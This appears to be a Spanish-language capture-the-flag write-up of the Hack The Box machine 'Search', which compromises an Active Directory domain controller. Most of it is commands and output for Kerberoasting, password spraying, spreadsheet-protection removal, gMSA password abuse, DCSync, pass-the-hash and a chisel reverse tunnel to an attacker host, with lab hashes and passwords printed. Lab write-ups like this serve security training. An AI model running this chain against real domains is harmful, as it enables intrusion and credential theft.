Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http
❯ nmap 10.10.11.129
Nmap scan report for 10.10.11.129
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
8172/tcp open unknown
9389/tcp open adws
49667/tcp open unknown
49691/tcp open unknown
49692/tcp open unknown
49714/tcp open unknown
49726/tcp open unknown
Con crackmapexec podemos obtener información de la maquina asi como el dominio que es search.htb ademas del nombre que parece es research
❯ crackmapexec smb 10.10.11.129
SMB 10.10.11.129 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina que es el DC como otro dominio
❯ echo "10.10.11.129 search.htb research.search.htb" | sudo tee -a /etc/hosts
En la página principal encontramos una web que no nos aporta demasiado
Fuzzeando un poco algunas rutas de posibles directorios con wfuzz no vemos nada realmente interesante mas que un /staff que devuelve un codigo de estado 403
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u https://search.htb/FUZZ --hc 404 -t 100
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://search.htb/FUZZ
Total requests: 26584
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 301 1 L 10 W 149 Ch "images"
000000009: 301 1 L 10 W 145 Ch "js"
000000015: 301 1 L 10 W 146 Ch "css"
000000267: 301 1 L 10 W 148 Ch "fonts"
000000352: 403 29 L 92 W 1233 Ch "staff"
Bajando un poco en la pagina principal encontramos un apartado que muestra mediante un slide diferentes imagenes y textos, algunos sobre Lorem Ipsum
Access - hope.sharp
Mirando a fondo una de las imagenes podemos encontrar un tipo de nota donde se nos muestra una posible contraseña valida para el usuario Hope.Sharp
Antes necesitamos saber el nombre del usuario Hope Sharp, asi que creamos un pequeño diccionario con los posibles nombres de usuario que podrian existir
❯ cat users.txt
Hope
Sharp
HSharp
HopeSharp
H.Sharp
Hope.S
Hope.Sharp
Podemos usar kerbrute para validar los usuarios en el archivo users.txt, en este caso el usuario valido es Hope.Sharp por lo que la sintaxis correcta es Name.Surname
❯ kerbrute userenum -d search.htb --dc research.search.htb users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
> Using KDC(s):
> research.search.htb:88
> [+] VALID USERNAME: Hope.Sharp@search.htb
> Done! Tested 7 usernames (1 valid) in 0.171 seconds
Ahora que sabemos el usuario podemos probar la contraseña, esta es valida, listando los recursos compartidos llama la atención el recurso RedirectedFolders$
❯ crackmapexec smb search.htb -u Hope.Sharp -p 'IsolationIsKey?'
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Hope.Sharp:IsolationIsKey?
❯ crackmapexec smb search.htb -u Hope.Sharp -p 'IsolationIsKey?' --shares
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Hope.Sharp:IsolationIsKey?
SMB search.htb 445 RESEARCH [+] Enumerated shares
SMB search.htb 445 RESEARCH Share Permissions Remark
SMB search.htb 445 RESEARCH ----- ----------- ------
SMB search.htb 445 RESEARCH ADMIN$ Remote Admin
SMB search.htb 445 RESEARCH C$ Default share
SMB search.htb 445 RESEARCH CertEnroll READ Active Directory Certificate Services share
SMB search.htb 445 RESEARCH helpdesk
SMB search.htb 445 RESEARCH IPC$ READ Remote IPC
SMB search.htb 445 RESEARCH NETLOGON READ Logon server share
SMB search.htb 445 RESEARCH RedirectedFolders$ READ,WRITE
SMB search.htb 445 RESEARCH SYSVOL READ Logon server share
Al conectarnos al recurso con smbclient utilizando las credenciales de Hope.Sharp podemos ver varios directorios los cuales son diferentes nombres de usuarios
❯ impacket-smbclient search.htb/Hope.Sharp:'IsolationIsKey?'@research.search.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use RedirectedFolders$
# ls
drw-rw-rw- 0 Tue Jun 27 22:02:32 2023 .
drw-rw-rw- 0 Tue Jun 27 22:02:32 2023 ..
drw-rw-rw- 0 Tue Apr 7 14:12:58 2020 abril.suarez
drw-rw-rw- 0 Fri Jul 31 09:11:32 2020 Angie.Duffy
drw-rw-rw- 0 Fri Jul 31 08:35:32 2020 Antony.Russo
drw-rw-rw- 0 Tue Apr 7 14:32:31 2020 belen.compton
drw-rw-rw- 0 Fri Jul 31 08:37:36 2020 Cameron.Melendez
drw-rw-rw- 0 Tue Apr 7 14:15:09 2020 chanel.bell
drw-rw-rw- 0 Fri Jul 31 09:09:07 2020 Claudia.Pugh
drw-rw-rw- 0 Fri Jul 31 08:02:04 2020 Cortez.Hickman
drw-rw-rw- 0 Tue Apr 7 14:20:08 2020 dax.santiago
drw-rw-rw- 0 Fri Jul 31 07:55:34 2020 Eddie.Stevens
drw-rw-rw- 0 Thu Apr 9 16:04:11 2020 edgar.jacobs
drw-rw-rw- 0 Fri Jul 31 08:39:50 2020 Edith.Walls
drw-rw-rw- 0 Tue Apr 7 14:23:13 2020 eve.galvan
drw-rw-rw- 0 Tue Apr 7 14:29:22 2020 frederick.cuevas
drw-rw-rw- 0 Thu Apr 9 10:34:41 2020 hope.sharp
drw-rw-rw- 0 Tue Apr 7 14:07:00 2020 jayla.roberts
drw-rw-rw- 0 Fri Jul 31 09:01:06 2020 Jordan.Gregory
drw-rw-rw- 0 Thu Apr 9 16:11:39 2020 payton.harmon
drw-rw-rw- 0 Fri Jul 31 07:44:32 2020 Reginald.Morton
drw-rw-rw- 0 Tue Apr 7 14:10:25 2020 santino.benjamin
drw-rw-rw- 0 Fri Jul 31 08:21:42 2020 Savanah.Velazquez
drw-rw-rw- 0 Wed Nov 17 20:01:45 2021 sierra.frye
drw-rw-rw- 0 Thu Apr 9 16:14:26 2020 trace.ryan
#
Access - web_svc
Para poder continuar enumeraremos con bloodhound toda la posible información sobre el dominio autenticandonos como Hope.Sharp, esto nos creara un zip con ella
❯ bloodhound-python -u Hope.Sharp -p 'IsolationIsKey?' -c All -d search.htb -dc search.htb -ns 10.10.11.129 --zip
INFO: Found AD domain: search.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: search.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 113 computers
INFO: Connecting to LDAP server: search.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 107 users
INFO: Found 64 groups
INFO: Found 6 gpos
INFO: Found 27 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Research.search.htb
INFO: Done in 01M 10S
INFO: Compressing output into 20230627221401_bloodhound.zip
Despues de subir el zip que nos crea bloodhound y listar los usuarios kerberoasteables nos encontramos con web_svc ademas del tipico krbtgt
Tenemos credenciales validas asi que con GetUserSPNs podemos explotarlo y obtener un hash correspondiente al servicio que corre el usuario web_svc
❯ impacket-GetUserSPNs search.htb/Hope.Sharp:'IsolationIsKey?' -request
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------- ------- -------- -------------------------- --------- ----------
RESEARCH/web_svc.search.htb:60001 web_svc 2020-04-09 08:59:11.329031 <never>
$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$cb8ef41e8071dd39f7d60ede0558eead$48cd26531a1f8fd5607272392160704993b52f428e75dd3a84f8df1a0e687b15214fadaa499628729ca02d6132bb37b05e37a5ffc0e77a34630afa25f2e8bfc74793c3ef93c2de79efb0d4e1fa003f6c7a47e3e18a6f52a93db7039c2fde7abc5db0fe2c69b65d1c93edbe4a52d8b2d799cac404d2e45fd319cf342f223b8f54f794fdd4b632bc39c695f9fceeb4166a1dc2f0b92bdd1e0a064951c729bab161a131af44389707622a3a126e2030c7f7bade0b97cea78012fd081d5a9ee3e25da65130612c94b2e1f96c7cccded7ba4dee2ae3236cdb47b905d68bf308deeaf20172458413637c3871ba03c006db3c36288cdde0156293bc48089b38febae9ef50f9b7713651501de5f4857b7b1a1cc88fdae0ae59f597572d033659ccc449fcf3ec087a4b1cb8e761a1f2db7a28d18ecaf8306c97be1ae9bd8b980790509bc127348ac8d97257d591085aae599f90294b0a93669493a99dcf35512d02dcd43d983116c27311496910e7d973852d8c4221ff8770321a224536528042754bf3732746c0c45eaf81d2ff8130fc58a2ee8e742ba23e1363a2979d35e111b6d23763c57243eda85aaa5f8c80e5d93395eff67dfc6d173563eaae8d2aa696e095c7d94b03aea071047feafcd649fe95d5e6aaf25ef6f2cc46f40cd4b60e23b180c8419ac9ca5df45e37ba1128d897e0c7cba4bca826f234809bd8f4ce0bddd3fd645cc3204cb42b98e9a71ea9a945354e2282d85ca9598e26c0bcc18d36a6724201ed9da04638c5cac0a9f5b6da3916bd5e727ad9a66d5a3adf56d9eab6db9f2db8db17e5df8606482db65b4a9cc793960eb8fd30baf9b145ecde4fad6eaebe524305bae36e52aa1c695ac38693a77db4e0f92f7a89330e0be4592e9f722f41f38770e03f7a61a014c14b5ed15bc54e350808ddb7133ec2fcd29178de8d42adbc29310a27e1c93a967754f67e928d85997dc64e2410bffea4e95725117a9d49d10a959b7261e2f046ef20dc76cadc321789e29e8b5c6c0791accfeef6e7c1f3ff869ac2836c3b96f7bdb73acc84d90ff406630d6520d326267f372b584abc3ed8daaea17ed4f227f73225ce387cd37c2ade4550b53fb8b661da511f1ea18572a600435dfca6ae73752163e0bac5ef1f1cf462e7272dd3ab17ae3236655d1d25c0edb88e1a20a30987aa5ca949f07a7148080da9f82486a6c9b790aa03e21ccb459a849086fc28506817e3f567d28f23374c605b674c9bd58e689052c12c5694c51671e880ec853a78f2988f0e7f61387aa95d3a85564890e46a0d3d821cf89615c349a89665d6aa8438a47d623693b0b69acb14b80e9a1e710b08ac1e807cc03df5d183ed88d3d5d909e9ce54e3e398bedee0ed9e437b60b66a2bd05f6764ac3e908665fdf1940ce819658ac18e0991d75898bfce3de217e1f6e7191005c00089971248e9f18359e0a099e9c25163e868110b635e4818b3
Al pasarle el hash a john podemos crackearlo y obtener la contraseña de web_svc
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
@3ONEmillionbaby (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Podemos comprobarla con crackmapexec pero esta credencial realmente no nos aporta nuevos privilegios o archivos en los recursos smb compartidos
❯ crackmapexec smb search.htb -u web_svc -p @3ONEmillionbaby
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\web_svc:@3ONEmillionbaby
Access - edgar.jacobs
Para crear un diccionario de todos los usuarios del dominio podemos obtenerlos mediante rpc y con expresiones regulares obtener obtener una lista, en total 105
❯ rpcclient -U 'web_svc%@3ONEmillionbaby' search.htb -c enumdomusers | grep -oP '\[\D*?\]' | tr -d '[]' > users.txt
❯ wc -l users.txt
105 users.txt
Con kerbrute podemos probar autenticaciones para todos ellos reutilizando la contraseña del usuario web_svc, el usuario Edgar.Jacobs reutiliza la contraseña
❯ kerbrute passwordspray -d search.htb --dc research.search.htb users.txt @3ONEmillionbaby
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
> Using KDC(s):
> research.search.htb:88
> [+] VALID LOGIN: Edgar.Jacobs@search.htb:@3ONEmillionbaby
> [+] VALID LOGIN: web_svc@search.htb:@3ONEmillionbaby
> Done! Tested 105 logins (2 successes) in 2.310 seconds
Comprobamos con crackmapexec y tenemos los mismos privilegios en los recursos SMB, podriamos probar si ahora hay algo interesante en RedirectedFolders$
❯ crackmapexec smb search.htb -u Edgar.Jacobs -p @3ONEmillionbaby
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Edgar.Jacobs:@3ONEmillionbaby
❯ crackmapexec smb search.htb -u Edgar.Jacobs -p @3ONEmillionbaby --shares
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Edgar.Jacobs:@3ONEmillionbaby
SMB search.htb 445 RESEARCH [+] Enumerated shares
SMB search.htb 445 RESEARCH Share Permissions Remark
SMB search.htb 445 RESEARCH ----- ----------- ------
SMB search.htb 445 RESEARCH ADMIN$ Remote Admin
SMB search.htb 445 RESEARCH C$ Default share
SMB search.htb 445 RESEARCH CertEnroll READ Active Directory Certificate Services share
SMB search.htb 445 RESEARCH helpdesk READ
SMB search.htb 445 RESEARCH IPC$ READ Remote IPC
SMB search.htb 445 RESEARCH NETLOGON READ Logon server share
SMB search.htb 445 RESEARCH RedirectedFolders$ READ,WRITE
SMB search.htb 445 RESEARCH SYSVOL READ Logon server share
Access - sierra.frye
Nos conectamos y en el directorio Desktop del usuario Edgar.Jacobs encontramos un archivo de extensión xlsx que por el nombre parece ser de intentos de phishing
❯ impacket-smbclient search.htb/Edgar.Jacobs:@3ONEmillionbaby@research.search.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use RedirectedFolders$
# cd Edgar.Jacobs
# ls
drw-rw-rw- 0 Thu Apr 9 16:04:11 2020 .
drw-rw-rw- 0 Thu Apr 9 16:04:11 2020 ..
drw-rw-rw- 0 Mon Aug 10 06:02:16 2020 Desktop
drw-rw-rw- 0 Mon Aug 10 06:02:17 2020 Documents
drw-rw-rw- 0 Mon Aug 10 06:02:17 2020 Downloads
# cd Desktop
# ls
drw-rw-rw- 0 Mon Aug 10 06:02:16 2020 .
drw-rw-rw- 0 Mon Aug 10 06:02:16 2020 ..
drw-rw-rw- 0 Thu Apr 9 16:05:29 2020 $RECYCLE.BIN
-rw-rw-rw- 282 Mon Aug 10 06:02:16 2020 desktop.ini
-rw-rw-rw- 1450 Thu Apr 9 16:05:03 2020 Microsoft Edge.lnk
-rw-rw-rw- 23130 Mon Aug 10 06:30:05 2020 Phishing_Attempt.xlsx
# get Phishing_Attempt.xlsx
#
Al abrir el archivo xlsx con LibreOffice podemos ver algunos nombres de usuarios, sin embargo no podemos ver la columna C y abajo nos dice que esta protegido
La protección usada en este caso es facil de bypassear, iniciamos unzipeando el archivo xlsx para asi tener acceso a todos los archivos de configuración en xml
❯ unzip Phishing_Attempt.xlsx
Archive: Phishing_Attempt.xlsx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: xl/workbook.xml
inflating: xl/_rels/workbook.xml.rels
inflating: xl/worksheets/sheet1.xml
inflating: xl/worksheets/sheet2.xml
inflating: xl/theme/theme1.xml
inflating: xl/styles.xml
inflating: xl/sharedStrings.xml
inflating: xl/drawings/drawing1.xml
inflating: xl/charts/chart1.xml
inflating: xl/charts/style1.xml
inflating: xl/charts/colors1.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/worksheets/_rels/sheet2.xml.rels
inflating: xl/drawings/_rels/drawing1.xml.rels
inflating: xl/charts/_rels/chart1.xml.rels
inflating: xl/printerSettings/printerSettings1.bin
inflating: xl/printerSettings/printerSettings2.bin
inflating: xl/calcChain.xml
inflating: docProps/core.xml
inflating: docProps/app.xml
En el archivo xl/worksheets/sheet1.xml encontramos la configuraciónd de la protección, para quitarla basta con eliminar la etiqueta sheetProtection del xml
<sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
Volvermos a comprimir los archivos en un nuevo archivo con extensión xlsx
❯ zip new.xlsx -r *
adding: [Content_Types].xml (deflated 79%)
adding: docProps/ (stored 0%)
adding: docProps/app.xml (deflated 52%)
adding: docProps/core.xml (deflated 47%)
adding: _rels/ (stored 0%)
adding: _rels/.rels (deflated 60%)
adding: xl/ (stored 0%)
adding: xl/theme/ (stored 0%)
adding: xl/theme/theme1.xml (deflated 80%)
adding: xl/calcChain.xml (deflated 55%)
adding: xl/worksheets/ (stored 0%)
adding: xl/worksheets/_rels/ (stored 0%)
adding: xl/worksheets/_rels/sheet1.xml.rels (deflated 55%)
adding: xl/worksheets/_rels/sheet2.xml.rels (deflated 42%)
adding: xl/worksheets/sheet1.xml (deflated 79%)
adding: xl/worksheets/sheet2.xml (deflated 73%)
adding: xl/styles.xml (deflated 89%)
adding: xl/_rels/ (stored 0%)
adding: xl/_rels/workbook.xml.rels (deflated 74%)
adding: xl/printerSettings/ (stored 0%)
adding: xl/printerSettings/printerSettings2.bin (deflated 67%)
adding: xl/printerSettings/printerSettings1.bin (deflated 67%)
adding: xl/drawings/ (stored 0%)
adding: xl/drawings/_rels/ (stored 0%)
adding: xl/drawings/_rels/drawing1.xml.rels (deflated 39%)
adding: xl/drawings/drawing1.xml (deflated 58%)
adding: xl/charts/ (stored 0%)
adding: xl/charts/colors1.xml (deflated 73%)
adding: xl/charts/chart1.xml (deflated 77%)
adding: xl/charts/_rels/ (stored 0%)
adding: xl/charts/_rels/chart1.xml.rels (deflated 49%)
adding: xl/charts/style1.xml (deflated 90%)
adding: xl/sharedStrings.xml (deflated 55%)
adding: xl/workbook.xml (deflated 60%)
Al abrir el nuevo xlsx ahora tenemos acceso a la columna C la cual contiene la contraseña, tenemos una columna de usuarios y una de posibles contraseñas
Creamos un archivo txt de ambas columnas y al probar las credenciales de cada linea conseguimos una autenticación valida, y esta es la del usuario Sierra.Frye
❯ crackmapexec smb search.htb -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [-] search.htb\Payton.Harmon:;;36!cried!INDIA!year!50;; STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Cortez.Hickman:..10-time-TALK-proud-66.. STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Bobby.Wolf:??47^before^WORLD^surprise^91?? STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Margaret.Robinson://51+mountain+DEAR+noise+83// STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Scarlett.Parks:++47|building|WARSAW|gave|60++ STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Eliezer.Jordan:!!05_goes_SEVEN_offer_83!! STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Hunter.Kirby:~~27%when%VILLAGE%full%00~~ STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18
SMB search.htb 445 RESEARCH [-] search.htb\Annabelle.Wells:==95~pass~QUIET~austria~77== STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Eve.Galvan://61!banker!FANCY!measure!25// STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Jeramiah.Fritz:??40:student:MAYOR:been:66?? STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Abby.Gonzalez:&&75:major:RADIO:state:93&& STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Joy.Costa:**30*venus*BALL*office*42** STATUS_LOGON_FAILURE
SMB search.htb 445 RESEARCH [-] search.htb\Vincent.Sutton:**24&moment&BRAZIL&members&66** STATUS_LOGON_FAILURE
Shell - sierra.frye
Al conectarnos al recurso RedirectedFolders$ como Sierra.Frye en su carpeta home vemos el archivo user.txt que es la primera flag que podemos descargar
❯ impacket-smbclient search.htb/Sierra.Frye:'$$49=wide=STRAIGHT=jordan=28$$18'@research.search.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use RedirectedFolders$
# cd Sierra.Frye
# ls
drw-rw-rw- 0 Wed Nov 17 20:01:45 2021 .
drw-rw-rw- 0 Wed Nov 17 20:01:45 2021 ..
drw-rw-rw- 0 Wed Nov 17 20:08:17 2021 Desktop
drw-rw-rw- 0 Fri Jul 31 10:42:19 2020 Documents
drw-rw-rw- 0 Fri Jul 31 10:45:36 2020 Downloads
-rw-rw-rw- 33 Wed Nov 17 20:01:45 2021 user.txt
# get user.txt
# exit
❯ cat user.txt
7f5**************************401
Además de la flag en el directorio Backups nos encontramos con certificados
# cd Downloads
# ls
drw-rw-rw- 0 Fri Jul 31 10:45:36 2020 .
drw-rw-rw- 0 Fri Jul 31 10:45:36 2020 ..
drw-rw-rw- 0 Thu Jul 30 13:25:57 2020 $RECYCLE.BIN
drw-rw-rw- 0 Mon Aug 10 16:39:17 2020 Backups
-rw-rw-rw- 282 Fri Jul 31 10:42:18 2020 desktop.ini
# cd Backups
# ls
drw-rw-rw- 0 Mon Aug 10 16:39:17 2020 .
drw-rw-rw- 0 Mon Aug 10 16:39:17 2020 ..
-rw-rw-rw- 2643 Fri Jul 31 11:04:11 2020 search-RESEARCH-CA.p12
-rw-rw-rw- 4326 Mon Aug 10 16:39:17 2020 staff.pfx
# mget *
[*] Downloading search-RESEARCH-CA.p12
[*] Downloading staff.pfx
#
Sin embargo estos estan protegidos con contraseña, para conseguirla primero podemos generar un hash para cada uno de ellos usando la herramienta pfx2john
❯ pfx2john search-RESEARCH-CA.p12 > hashes
❯ pfx2john staff.pfx >> hashes
Al crackear los hashes conseguimos la contraseña misspissy para ambos archivos
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 XOP 4x2])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
misspissy (search-RESEARCH-CA.p12)
misspissy (staff.pfx)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Podemos importar los certificados a Chrome o Firefox donde nos pedira la contraseña con la que estan protegidos, que ya sabemos es misspissy
Esto nos permitirá acceder al recurso /staff por https que de antes nos devolvia un codigo 403 Forbidden, al acceder a el nos preguntara que certificado usar
El directorio /staff es un Windows Powershell Web Access el cual nos permite autenticarnos con credenciales a un ordenador y obtener una powershell
Tenemos las credenciales de Sierra.Frye a nivel de dominio y sabemos que el nombre del DC es Research, asi que con esta información nos podemos autenticar
Al autenticarnos obtenemos una powershell como el usuario Sierra.Frye
Shell - Administrator
Volviendo a bloodhound vemos que Sierra.Frye gracias a sus grupos tiene el privilegio ReadGMSAPassword sobre BIR-ADFS-GMSA$ que tiene privilegios GenericAll sobre el usuario Tristan.Davies que esta en el grupo Domain Admins
Para explotarlo como Sierra.Frye obtenemos la contraseña de BIR-ADFS-GMSA$ utilizando la propiedad msDS-ManagedPassword y definimos su credencial
PS C:\Users\Sierra.Frye\Documents> $GMSA = (Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword').'msDS-ManagedPassword'
PS C:\Users\Sierra.Frye\Documents> $SecPassword = (ConvertFrom-ADManagedPasswordBlob $GMSA).SecureCurrentPassword
PS C:\Users\Sierra.Frye\Documents> $Cred = New-Object System.Management.Automation.PSCredential BIR-ADFS-GMSA, $SecPassword
PS C:\Users\Sierra.Frye\Documents>
Utilizando esta credencial de powershell podemos ejecutar comandos como el usuario BIR-ADFS-GMSA$ en la máquina Research que es el controlador de dominio
PS C:\Users\Sierra.Frye\Documents> Invoke-Command -ComputerName Research -Credential $Cred -Command { whoami }
search\bir-adfs-gmsa$
PS C:\Users\Sierra.Frye\Documents>
Ya que este usuario tiene privilegios GenericAll sobre el usuario Tristan.Davies podemos simplemente cambiar su contraseña usando el comando net
PS C:\Users\Sierra.Frye\Documents> Invoke-Command -ComputerName Research -Credential $Cred -Command { net user Tristan.Davies password123# }
The command completed successfully.
PS C:\Users\Sierra.Frye\Documents>
Comprobamos los cambios con crackmapexec y es valida, ya que es parte del grupo Domain Admins nos devuelve Pwn3d! que nos indica que tiene privilegios maximos
❯ crackmapexec smb search.htb -u Tristan.Davies -p password123#
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Tristan.Davies:password123# (Pwn3d!)
Ahora mediante un DCSync dumpearemos el ntds.dit y nos interesa de manera especifica el hash NT del usuario Administrator para hacer un passthehash
❯ crackmapexec smb search.htb -u Tristan.Davies -p password123# --ntds drsuapi --user Administrator
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB search.htb 445 RESEARCH [+] search.htb\Tristan.Davies:password123# (Pwn3d!)
SMB search.htb 445 RESEARCH [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB search.htb 445 RESEARCH Administrator:500:aad3b435b51404eeaad3b435b51404ee:5e3c0abbe0b4163c5612afe25c69ced6:::
Ahora utilizando psexec o wmiexec para poder obtener una powershell podemos autenticarnos utilizando el hash y poder ejecutar comandos como Administrator
❯ impacket-wmiexec search.htb/Administrator@research.search.htb -hashes :5e3c0abbe0b4163c5612afe25c69ced6 -shell-type powershell
Impacket v0.11.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
search\administrator
PS C:\> type C:\Users\Administrator\Desktop\root.txt
070a4fc417f6463e27d90f8216538441
PS C:\>
El servicio de winrm no esta disponible desde fuera sin embargo ahora podemos crear un proxy con chisel y asi poder tener acceso a todos los puertos internos
PS C:\> .\chisel client 10.10.14.10:9999 R:socks
❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Finalmente con proxychains validamos que tengamos conexion por winrm y nos conectamos como Administrator con el hash a la máquina utilizando evil-winrm
❯ proxychains -q crackmapexec winrm search.htb -u Administrator -H 5e3c0abbe0b4163c5612afe25c69ced6
SMB search.htb 5985 RESEARCH [*] Windows 10.0 Build 17763 (name:RESEARCH) (domain:search.htb)
HTTP search.htb 5985 RESEARCH [*] http://search.htb:5985/wsman
WINRM search.htb 5985 RESEARCH [+] search.htb\Administrator:5e3c0abbe0b4163c5612afe25c69ced6 (Pwn3d!)
❯ proxychains -q evil-winrm -i search.htb -u Administrator -H 5e3c0abbe0b4163c5612afe25c69ced6
PS C:\Users\Administrator\Documents> whoami
search\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
070a4fc417f6463e27d90f8216538441
PS C:\Users\Administrator\Documents>